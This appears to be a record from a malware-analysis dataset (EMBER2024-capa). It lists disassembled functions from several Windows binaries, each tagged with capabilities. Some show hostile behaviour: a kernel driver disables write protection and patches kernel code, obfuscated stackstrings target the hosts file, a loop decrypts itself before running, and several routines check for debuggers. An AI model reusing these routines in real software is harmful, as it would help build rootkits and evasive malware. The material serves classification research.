joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1004bc70
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x1004bca3
push esi
call fcn.10059fe0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x1004bc9c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x1004bd29
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x1004bd12
mov eax, dword [esi + 8]
test eax, eax
je 0x1004bcc7
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x1004bd0e
cmp eax, 2
je 0x1004bd12
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x1004bcba
cmp eax, 3
je 0x1004bced
cmp eax, 1
jne 0x1004bcba
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x1004bcba
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x1004bcba
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.1004bd50
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x1004bd38
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.1004bd50
add esp, 4
pop esi
ret

Function at 0x1004c5b0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x1004c5d1
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x1004c5d1
mov eax, dword [eax + 0x44]
test eax, eax
je 0x1004c5d1
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1004ca20
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x1004ca2b
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x1004cb2e
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x100a33c0]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x100a33c0]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x100a33c0]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x100a33c0]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x100a33c0]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x100a33c0]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x100a33c0]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x100a33c0]
xor eax, edx
inc ecx
dec edi
jne 0x1004ca46
pop edi
test esi, esi
je 0x1004cb50
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x100a33c0]
xor eax, edx
inc ecx
dec esi
jne 0x1004cb32
pop esi
pop ebx
not eax
ret
Function at 0x10066d50
Capabilities:
Create process on windows

Disassembly:
push str.Microsoft_Internet_Explorer
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_FindWindowExA]
mov ecx, dword [esp + 4]
push 1
push 0
push 0
push ecx
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
ret 4

Function at 0x10066f30
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x10066f96
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x10066f96
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x10066f77
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x10067320
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x10067358
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x10067fe0
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x10068029
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x100684a0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1008a040
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.10068050
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.100680d0
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.100680d0
lea ecx, [esi + 0xc]
call fcn.1007b9f2
lea ecx, [esi + 0x10]
call fcn.1007b9f2
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.10069670
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.10069670
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.10069670
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.1007ba67
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.1007ba67
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x1007de0b
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x1007de43
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.1007bec2
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.1007be9a
jmp 0x1007de4f
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x1007f505
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x1007f547
call fcn.10085295
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x1007f547
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x1007f53e
xor eax, eax
jmp 0x1007f54f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.1007f555
pop edi
pop esi
pop ebx
ret 4
Function at 0x401000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
push edi
push 0x1aa
xor esi, esi
lea ecx, [ebp - 0x1da]
xor eax, eax
push esi
push ecx
mov dword [ebp - 0x230], 0x3f005c
mov dword [ebp - 0x22c], 0x5c003f
mov dword [ebp - 0x228], 0x3a0043
mov dword [ebp - 0x224], 0x57005c
mov dword [ebp - 0x220], 0x6e0069
mov dword [ebp - 0x21c], 0x6f0064
mov dword [ebp - 0x218], 0x730077
mov dword [ebp - 0x214], 0x73005c
mov dword [ebp - 0x210], 0x730079
mov dword [ebp - 0x20c], 0x650074
mov dword [ebp - 0x208], 0x33006d
mov dword [ebp - 0x204], 0x5c0032
mov dword [ebp - 0x200], 0x720044
mov dword [ebp - 0x1fc], 0x760069
mov dword [ebp - 0x1f8], 0x720065
mov dword [ebp - 0x1f4], 0x5c0073
mov dword [ebp - 0x1f0], 0x740065
mov dword [ebp - 0x1ec], 0x5c0063
mov dword [ebp - 0x1e8], 0x6f0068
mov dword [ebp - 0x1e4], 0x740073
mov dword [ebp - 0x1e0], 0x73
mov word [ebp - 0x1dc], ax
call sub.ntoskrnl.exe_memset
mov ebx, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
add esp, 0xc
lea edx, [ebp - 0x230]
push edx
lea eax, [ebp - 0x24]
push eax
call ebx
mov edi, dword [sym.imp.ntoskrnl.exe_ZwCreateFile]
push esi
push esi
push 0x40
push 4
push 7
push 0x80
push esi
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x24]
push eax
mov dword [ebp - 0x14], ecx
push 0x100002
lea ecx, [ebp - 4]
push ecx
mov dword [ebp - 0x1c], 0x18
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x10], 0x240
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
call edi
lea eax, [ebp - 0x230]
add eax, 0xfffffffe
mov edi, edi
mov cx, word [eax + 2]
add eax, 2
cmp cx, si
jne 0x401160
mov edx, dword [str..ics]
mov ecx, dword [0x4020a0]
mov dword [eax], edx
mov dx, word [0x4020a4]
mov dword [eax + 4], ecx
mov word [eax + 8], dx
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x24]
push ecx
call ebx
push esi
push esi
push 0x40
push 2
push 7
push 0x80
push esi
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x24]
push ecx
mov dword [ebp - 0x14], edx
push 0x100002
lea edx, [ebp - 4]
push edx
mov dword [ebp - 0x1c], 0x18
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x10], 0x240
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
call edi
push esi
push esi
push 0x40
push 4
push 7
push 0x80
push esi
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x1c]
push ecx
push 0x100002
lea edx, [ebp - 4]
push edx
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401200
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push edi
push eax
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push 0x20
push 7
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x34]
lea edx, [ebp - 0xc]
push ecx
mov dword [ebp - 0x2c], edx
push 0x100001
lea edx, [ebp - 4]
push edx
mov dword [ebp - 0x34], 0x18
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x28], 0x240
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
call dword [sym.imp.ntoskrnl.exe_ZwOpenFile]
test eax, eax
js 0x401296
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
push 0
lea ecx, [ebp + 0x10]
push ecx
mov ecx, dword [ebp + 8]
push edx
push ecx
lea edx, [ebp - 0x1c]
push edx
push 0
push 0
push 0
push eax
mov edi, eax
call dword [sym.imp.ntoskrnl.exe_ZwReadFile]
test eax, eax
js 0x40128f
test edi, edi
je 0x40128d
push edi
call dword [sym.imp.ntoskrnl.exe_ZwClose]
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret 0x10
mov eax, 0xc0000001
pop edi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4012b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push ebx
push esi
push edi
xor edx, edx
push 0x1bc
push edx
lea ecx, [ebp - 0x1f4]
push ecx
mov ebx, eax
mov dword [ebp - 0x238], 0x3f005c
mov dword [ebp - 0x234], 0x5c003f
mov dword [ebp - 0x230], 0x3a0043
mov dword [ebp - 0x22c], 0x57005c
mov dword [ebp - 0x228], 0x6e0069
mov dword [ebp - 0x224], 0x6f0064
mov dword [ebp - 0x220], 0x730077
mov dword [ebp - 0x21c], 0x73005c
mov dword [ebp - 0x218], 0x730079
mov dword [ebp - 0x214], 0x650074
mov dword [ebp - 0x210], 0x33006d
mov dword [ebp - 0x20c], 0x5c0032
mov dword [ebp - 0x208], 0x720044
mov dword [ebp - 0x204], 0x760069
mov dword [ebp - 0x200], 0x720065
mov dword [ebp - 0x1fc], 0x5c0073
mov dword [ebp - 0x1f8], edx
call sub.ntoskrnl.exe_memset
mov eax, dword [ebx + 0x30]
mov ecx, 6
mov esi, str.ntoskrnl.exe
lea edi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
add esp, 0xc
lea edx, [ebp - 0x34]
push edx
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.ntoskrnl.exe__wcsicmp]
add esp, 8
test eax, eax
jne 0x4013aa
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebx + 0x30]
test eax, eax
je 0x4014af
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4013b7
lea edi, [ebp - 0x238]
sub eax, edx
add edi, 0xfffffffe
lea ecx, [ecx]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x4013d0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebx + 0x18]
mov edx, 0x5a4d
cmp word [ecx], dx
jne 0x4014af
mov eax, dword [ecx + 0x3c]
mov edx, dword [eax + ecx + 0x88]
add eax, ecx
test edx, edx
je 0x4014af
movzx ecx, word [eax + 6]
xor esi, esi
test ecx, ecx
jle 0x40143e
add eax, 0x104
mov edi, ecx
mov ecx, dword [eax]
cmp edx, ecx
jb 0x401438
mov ebx, dword [eax + 4]
add ebx, ecx
cmp edx, ebx
jae 0x401438
mov esi, edx
sub esi, ecx
add esi, dword [eax + 8]
add eax, 0x28
dec edi
jne 0x401422
xor ebx, ebx
push ebx
push esi
push 0x10
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x238]
call fcn.00401200
test eax, eax
js 0x4014af
push ebx
add esi, 0x10
push esi
push 8
lea ecx, [ebp - 8]
push ecx
lea eax, [ebp - 0x238]
call fcn.00401200
movzx edx, word [ebp - 0xc]
movzx eax, word [ebp - 0xa]
xor edi, edi
add edx, eax
je 0x4014af
jmp 0x401480
cmp dword [ebp - 8], 0x10
je 0x4013a1
push ebx
add esi, 8
push esi
push 8
lea ecx, [ebp - 8]
push ecx
lea eax, [ebp - 0x238]
call fcn.00401200
movzx edx, word [ebp - 0xc]
movzx eax, word [ebp - 0xa]
inc edi
add edx, eax
cmp edi, edx
jb 0x401480
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4015a0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov eax, 0x200
push 0x69706744
push eax
push 1
mov word [ebp - 0xa], ax
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov dword [ebp - 8], eax
mov edi, 4
jmp 0x4015d0
lea ebx, [ebp - 0xc]
mov ecx, edi
call fcn.004014c0
test eax, eax
js 0x401659
mov esi, dword [ebp - 8]
movzx eax, word [esi]
xor ebx, ebx
xor edx, edx
test ax, ax
je 0x401631
mov ecx, esi
nop
cmp ax, 0x5c
jne 0x4015f9
lea ebx, [ecx + 2]
inc edx
movzx eax, word [esi + edx*2]
lea ecx, [esi + edx*2]
test ax, ax
jne 0x4015f0
test ebx, ebx
je 0x401631
mov eax, ebx
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401610
sub eax, edx
sar eax, 1
lea ecx, [eax + eax + 1]
push ecx
push ebx
push esi
call sub.ntoskrnl.exe_memcpy
mov esi, dword [ebp - 8]
add esp, 0xc
mov edx, dword [ebp - 0xc]
push esi
push edx
push str._wZ_r_n
call dword [sym.imp.ntoskrnl.exe_DbgPrint]
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
mov edx, dword [ebp - 8]
push ecx
push edx
call dword [sym.imp.ntoskrnl.exe__wcsicmp]
add esp, 0x14
test eax, eax
je 0x401682
add edi, 4
cmp edi, 0x2710
jb 0x4015d0
mov ecx, dword [ebp - 8]
push 0
push ecx
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, 0xc0000229
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 8]
push 0
push eax
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401740
Capabilities:
Create device object
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
push ebx
mov ebx, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push esi
mov esi, dword [ebp + 8]
push edi
push str.DevicekiSafe0
lea eax, [esp + 0x1c]
xor edi, edi
push eax
mov dword [0x40300c], esi
mov dword [esp + 0x18], edi
call ebx
push str.DosDeviceskiSafe0
lea ecx, [esp + 0x24]
push ecx
call ebx
mov eax, 0x401930
mov dword [esi + 0x3c], eax
mov dword [esi + 0x44], eax
mov dword [esi + 0x48], eax
mov dword [esi + 0x4c], eax
mov dword [esi + 0x50], eax
mov dword [esi + 0x54], eax
mov dword [esi + 0x58], eax
mov dword [esi + 0x5c], eax
mov dword [esi + 0x60], eax
mov dword [esi + 0x64], eax
mov dword [esi + 0x68], eax
mov dword [esi + 0x6c], eax
mov dword [esi + 0x70], eax
mov dword [esi + 0x74], eax
mov dword [esi + 0x78], eax
mov dword [esi + 0x7c], eax
mov dword [esi + 0x80], eax
mov dword [esi + 0x84], eax
mov dword [esi + 0x88], eax
mov dword [esi + 0x8c], eax
mov dword [esi + 0x90], eax
mov dword [esi + 0x94], eax
mov dword [esi + 0x98], eax
mov dword [esi + 0x9c], eax
mov dword [esi + 0xa0], eax
mov dword [esi + 0xa4], eax
lea edx, [esp + 0x10]
push edx
push edi
push edi
mov eax, 0x401910
push 0x22
mov dword [esi + 0x38], eax
mov dword [esi + 0x40], eax
lea eax, [esp + 0x28]
push eax
push edi
push esi
mov dword [esi + 0x34], 0x4018d0
call dword [sym.imp.ntoskrnl.exe_IoCreateDevice]
cmp eax, edi
jl 0x4018be
mov eax, dword [esp + 0x10]
cmp eax, edi
jne 0x401830
mov eax, 0xc00000e9
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
or dword [eax + 0x1c], 0x10
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x24]
push eax
mov dword [ecx + 0x5c], 1
call dword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
mov eax, dword [esp + 0x10]
and dword [eax + 0x1c], 0xffffff7f
push edi
push 0x4016a0
push edi
push edi
xor eax, eax
lea ecx, [esp + 0x38]
push ecx
push 0x1f03ff
lea edx, [esp + 0x2c]
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
push edx
mov dword [esp + 0x44], 0x18
mov dword [esp + 0x48], edi
mov dword [esp + 0x50], 0x200
mov dword [esp + 0x4c], edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x58], edi
call dword [sym.imp.ntoskrnl.exe_PsCreateSystemThread]
mov eax, dword [esp + 0x14]
cmp eax, edi
je 0x4018bc
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x401970
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push ebx
push esi
mov ebx, eax
push edi
mov edi, dword [sym.imp.ntoskrnl.exe_PsSetCreateProcessNotifyRoutine]
lea eax, [ebp - 0x128]
push eax
mov dword [ebx], 0
mov esi, edi
call dword [sym.imp.ntoskrnl.exe_RtlGetVersion]
cmp dword [ebp - 0x124], 5
jbe 0x4019a8
mov dl, 0xdb
mov cl, 0xc7
jmp 0x4019ac
mov dl, 0x56
mov cl, 0x8d
xor eax, eax
mov edi, edi
cmp byte [esi], dl
jne 0x4019ba
cmp byte [edi + eax + 1], cl
je 0x4019c5
inc eax
inc esi
cmp eax, 0x512
jl 0x4019b0
jmp 0x4019ca
mov ecx, dword [esi + 4]
mov dword [ebx], ecx
mov eax, dword [ebx]
test eax, eax
jne 0x4019dc
mov eax, 0xc0000001
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], eax
mov dword [ebp - 8], 8
mov esi, dword [eax]
and esi, 0xfffffff8
push esi
call dword [sym.imp.ntoskrnl.exe_MmIsAddressValid]
test al, al
je 0x401a9f
mov eax, dword [0x40300c]
mov ecx, dword [eax + 0x14]
mov eax, dword [ecx]
mov edx, dword [esi + 4]
xor edi, edi
mov dword [ebp - 0xc], eax
cmp dword [eax + 0x1c], 0
je 0x401a3a
cmp dword [eax + 0x30], 0
je 0x401a3a
cmp dword [eax + 0x28], 0
je 0x401a3a
cmp word [eax + 0x38], 0
je 0x401a3a
mov ecx, dword [eax + 0x18]
cmp ecx, edx
jae 0x401a3a
mov ebx, dword [eax + 0x20]
add ebx, ecx
cmp edx, ebx
jae 0x401a3a
mov dword [ebp - 0x10], eax
mov edi, ecx
mov eax, dword [eax]
cmp eax, dword [ebp - 0xc]
jne 0x401a0c
test edi, edi
je 0x401a51
mov eax, dword [ebp - 0x10]
call fcn.004012b0
test al, al
jne 0x401a9f
mov cl, 2
call dword [sym.imp.HAL.dll_KfRaiseIrql]
mov cl, al
push eax
mov eax, cr0
and eax, 0xfffeffff
mov cr0, eax
pop eax
mov eax, dword [esi + 4]
mov edx, 0x401960
sub edx, eax
sub edx, 5
mov dword [0x403001], edx
mov edx, dword [section..data]
mov dword [eax], edx
mov dl, byte [0x403004]
mov byte [eax + 4], dl
push eax
mov eax, cr0
or eax, 0x10000
mov cr0, eax
pop eax
call dword [sym.imp.HAL.dll_KfLowerIrql]
mov eax, dword [ebp - 4]
add eax, 4
dec dword [ebp - 8]
mov dword [ebp - 4], eax
jne 0x4019e6
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402ad8
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404854
test esi, esi
jne 0x402b0e
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00404944
jmp 0x402b2c
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.0040298c
mov edi, eax
test esi, esi
je 0x402b2c
cmp dword [ebx], 0
je 0x402b2c
dec esi
jmp 0x402b15
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403114
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x456008], 0x8088405
inc edx
mov dword [ebx + 0x456008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4038e8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x456024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403980
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403960
xor eax, eax
push ebp
push 0x403959
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40399c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403960
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x456024]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x456024], ax
mov esp, ebp
pop ebp
ret

Function at 0x404654
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x458048], 0
je 0x4046b5
cmp word [0x45821c], 0xd7b2
jne 0x40467d
cmp dword [0x458224], 0
jbe 0x40467d
mov eax, 0x458218
call dword [0x458234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x456074
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4046dc
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x456034], 0
jne 0x4046d1
push 0
push 0x45606c
push 0x456074
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x404808
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.0040272c
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x458049], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x4047d0
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc